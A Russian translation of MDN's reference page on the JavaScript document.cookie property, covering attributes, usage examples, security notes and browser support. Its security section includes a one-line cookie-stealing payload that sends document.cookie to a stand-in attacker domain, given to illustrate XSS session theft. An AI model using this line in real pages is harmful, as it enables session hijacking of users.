Документ: свойство cookie

Базовая Широко доступна

Эта функция хорошо зарекомендовала себя и работает на многих устройствах и версиях браузеров. Она доступна во всех браузерах с июля 2015 года.

Свойство Document cookie позволяет читать и записывать куки, связанные с документом. Оно служит как getter, так и setter для фактических значений куки.

Синтаксис

Чтение всех куки, доступных из данного местоположения

allCookies = document.cookie;

В коде выше allCookies — строка, содержащая список всех куки (т.е. key=value пары), разделенные точкой с запятой. Обратите внимание, что каждый ключ и значение могут быть окружены пробелами (пробелы и табуляции): фактически, RFC 6265 предписывает одиночный пробел после каждой точки с запятой, но некоторые пользовательские агенты могут этого не соблюдать.

Запись новой куки

document.cookie = newCookie;

В коде выше newCookie — строка вида key=value, определяющая куки для установки/обновления. Обратите внимание, что вы можете установить/обновить только одну куки за раз с помощью этого метода. Также учтите, что:

Любое из следующих значений атрибутов куки может быть необязательно после пары ключ-значение, каждое с разделителем точкой с запятой:
- ;domain=domain (например, example.com или subdomain.example.com): Хост, которому будет отправлена куки. Если не указано, по умолчанию используется хост текущего расположения документа, и куки недоступна для дочерних доменов. Если указан домен, дочерние домены всегда включаются. В отличие от более ранних спецификаций, ведущие точки в именах доменов игнорируются, но браузеры могут отказаться от установки куки, содержащей такие точки.
  
  Примечание: Домен должен совпадать с доменом JavaScript-источника. Установка куки для внешних доменов будет проигнорирована.
- ;expires=date-in-UTCString-format: Дата истечения срока действия куки. Если ни expires ни max-age не указаны, она истекает в конце сессии.
  
  Предупреждение: Когда пользовательская конфиденциальность является проблемой, важно, чтобы любое веб-приложение аннулировало данные куки после определенного таймаута, а не полагалось на браузер для этого. Многие браузеры позволяют пользователям указывать, что куки никогда не должны истекать, что не всегда безопасно.
  
  См. Date.toUTCString() для помощи в форматировании этого значения.
- ;max-age=max-age-in-seconds: Максимальный срок действия куки в секундах (например, 60*60*24*365 или 31536000 для года).
- ;partitioned: Указывает, что куки должны храниться с использованием разграниченного хранения. См. Куки с независимым разграниченным состоянием (CHIPS) для получения более подробной информации.
- ;path=path: Значение атрибута Path куки (см. Определение, куда отправляются куки для получения дополнительной информации).
- ;samesite: Атрибут SameSite заголовка Set-Cookie может быть задан сервером, чтобы указать, когда будет отправлена куки. Возможные значения lax, strict или none (см. также Управление куки третьих сторон с помощью SameSite).
  - Значение lax будет отправлять куки для всех запросов того же сайта и основных GET-запросов навигации. Это достаточно для отслеживания пользователей, но это предотвратит множество атак Cross-Site Request Forgery (CSRF). Это значение по умолчанию в современных браузерах.
  - Значение strict предотвратит отправку браузером куки целевому сайту во всех контекстах перехода между сайтами, даже при переходе по обычной ссылке.
  - Значение none явно указывает, что ограничения не будут применяться. Куки будет отправляться во всех запросах — как межсайтовых, так и внутрисайтовых.
- ;secure: Указывает, что куки должна передаваться только по защищенному протоколу.
Строка значения куки может использовать encodeURIComponent(), чтобы гарантировать, что строка не содержит запятых, точек с запятой или пробелов (которые запрещены в значениях куки).
Некоторые реализации пользовательского агента поддерживают следующие префиксы куки:
- __Secure- Сигнализирует браузеру, что он должен включать куки только в запросы, переданные по защищенному каналу.
- __Host- Сигнализирует браузеру, что помимо ограничения на использование куки только из защищенного источника, область действия куки ограничена атрибутом пути, переданным сервером. Если сервер опускает атрибут пути, используется "директория" URI запроса. Также сигнализирует, что атрибут домена не должен присутствовать, что предотвращает отправку куки на другие домены. Для Chrome атрибут пути должен всегда быть источником.
Примечание: Дефис считается частью префикса.

Примечание: Эти флаги можно установить только с помощью атрибута secure.

Примечание: Как видно из приведенного выше кода, document.cookie — это акцессорное свойство с нативными функциями setter и getter, и следовательно, это не свойство данных со значением: то, что вы записываете, не то же, что вы читаете, все всегда опосредуется интерпретатором JavaScript.

Примеры

Пример 1: Простое использование

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";

function showCookies() {
  const output = document.getElementById("cookies");
  output.textContent = `> ${document.cookie}`;
}

function clearOutputCookies() {
  const output = document.getElementById("cookies");
  output.textContent = "";
}

<button onclick="showCookies()">Show cookies</button>

<button onclick="clearOutputCookies()">Clear</button>

<div>
  <code id="cookies"></code>
</div>

Пример 2: Получение образца куки с именем test2

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";

const cookieValue = document.cookie
  .split("; ")
  .find((row) => row.startsWith("test2="))
  ?.split("=")[1];

function showCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = `> ${cookieValue}`;
}

function clearOutputCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = "";
}

<button onclick="showCookieValue()">Show cookie value</button>

<button onclick="clearOutputCookieValue()">Clear</button>

<div>
  <code id="cookie-value"></code>
</div>

Пример 3: Сделать что-то только один раз

Для использования следующего кода, пожалуйста, замените все вхождения слова doSomethingOnlyOnce (имя куки) на пользовательское имя.

function doOnce() {
  if (
    !document.cookie
      .split("; ")
      .find((row) => row.startsWith("doSomethingOnlyOnce"))
  ) {
    // Note that we are setting `SameSite=None;` in this example because the example
    // needs to work cross-origin.
    // It is more common not to set the `SameSite` attribute, which results in the default,
    // and more secure, value of `SameSite=Lax;`
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";

    const output = document.getElementById("do-once");
    output.textContent = "> Do something here!";
  }
}

function clearOutputDoOnce() {
  const output = document.getElementById("do-once");
  output.textContent = "";
}

<button onclick="doOnce()">Only do something once</button>

<button onclick="clearOutputDoOnce()">Clear</button>

<div>
  <code id="do-once"></code>
</div>

Пример 4: Сброс предыдущей куки

function resetOnce() {
  // Note that we are setting `SameSite=None;` in this example because the example
  // needs to work cross-origin.
  // It is more common not to set the `SameSite` attribute, which results in the default,
  // and more secure, value of `SameSite=Lax;`
  document.cookie =
    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";

  const output = document.getElementById("reset-once");
  output.textContent = "> Reset!";
}

function clearOutputResetOnce() {
  const output = document.getElementById("reset-once");
  output.textContent = "";
}

<button onclick="resetOnce()">Reset only once cookie</button>

<button onclick="clearOutputResetOnce()">Clear</button>

<div>
  <code id="reset-once"></code>
</div>

Пример 5: Проверка существования куки

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";

function checkACookieExists() {
  if (
    document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
  ) {
    const output = document.getElementById("a-cookie-existence");
    output.textContent = '> The cookie "reader" exists';
  }
}

function clearOutputACookieExists() {
  const output = document.getElementById("a-cookie-existence");
  output.textContent = "";
}

<button onclick="checkACookieExists()">Check a cookie exists</button>

<button onclick="clearOutputACookieExists()">Clear</button>

<div>
  <code id="a-cookie-existence"></code>
</div>

Пример 6: Проверка, что куки имеет определенное значение

function checkCookieHasASpecificValue() {
  if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
    const output = document.getElementById("a-specific-value-of-the-cookie");
    output.textContent = '> The cookie "reader" has a value of "1"';
  }
}

function clearASpecificValueOfTheCookie() {
  const output = document.getElementById("a-specific-value-of-the-cookie");
  output.textContent = "";
}

<button onclick="checkCookieHasASpecificValue()">
  Check that a cookie has a specific value
</button>

<button onclick="clearASpecificValueOfTheCookie()">Clear</button>

<div>
  <code id="a-specific-value-of-the-cookie"></code>
</div>

Безопасность

Важно отметить, что атрибут path не защищает от несанкционированного чтения cookie из другого пути. Его можно легко обойти, используя DOM, например, создав скрытый <iframe> элемент с путем cookie и затем получив доступ к свойству contentDocument.cookie этого iframe. Единственный способ защитить cookie — использовать другой домен или поддомен из-за политики одного происхождения.

Cookies часто используются в веб-приложениях для идентификации пользователя и его аутентифицированной сессии. Кража cookie из веб-приложения приводит к похищению сессии аутентифицированного пользователя. Общие способы кражи cookie включают использование социальной инженерии или эксплуатацию уязвимости межсайтового скриптинга (XSS) в приложении.

new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;

Атрибут cookie HTTPOnly может помочь смягчить эту атаку, предотвратив доступ к значению cookie через JavaScript. Подробнее об этом в Cookies и Безопасности.

Примечания

Начиная с Firefox 2, доступен лучший механизм для хранения на стороне клиента — WHATWG DOM Storage.
Вы можете удалить cookie, обновив его время истечения до нуля.
Помните, что чем больше у вас cookie, тем больше данных будет передаваться между сервером и клиентом для каждого запроса. Это замедлит каждый запрос. Настоятельно рекомендуется использовать WHATWG DOM Storage, если вы собираетесь хранить данные только на клиенте.
RFC 2965 (Раздел 5.3, "Ограничения реализации") указывает, что не должно быть максимальной длины ключа или значения cookie, и рекомендует реализациям поддерживать произвольно большие cookie. Максимальное значение для каждой реализации браузера будет отличаться, поэтому обратитесь к документации каждого браузера.

Причина синтаксиса свойства доступа document.cookie заключается в природе cookie клиент-сервер, которая отличается от других методов хранения клиент-клиент (например, localStorage):

Сервер сообщает клиенту о хранении cookie

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

Клиент отправляет обратно на сервер ранее сохраненные cookie

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

Спецификации

Спецификация
HTML # dom-document-cookie

Совместимость с браузерами

	Рабочие столы					Мобильные устройства
	Chrome	Edge	Firefox	Opera	Safari	Chrome Android	Firefox для Android	Opera Android	Safari на iOS	Samsung Internet	WebView Android
`cookie`	1	12	68 1–68 Поддерживается только для `HTMLDocument`, а не для всех `Document` объектов.	3	4 1–4 Поддерживается только для `HTMLDocument`, а не для всех `Document` объектов.	18	68 4–68 Поддерживается только для `HTMLDocument`, а не для всех `Document` объектов.	10.1	3.2 1–3.2 Поддерживается только для `HTMLDocument`, а не для всех `Document` объектов.	1.0	4.4

См. также

© 2005–2024 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie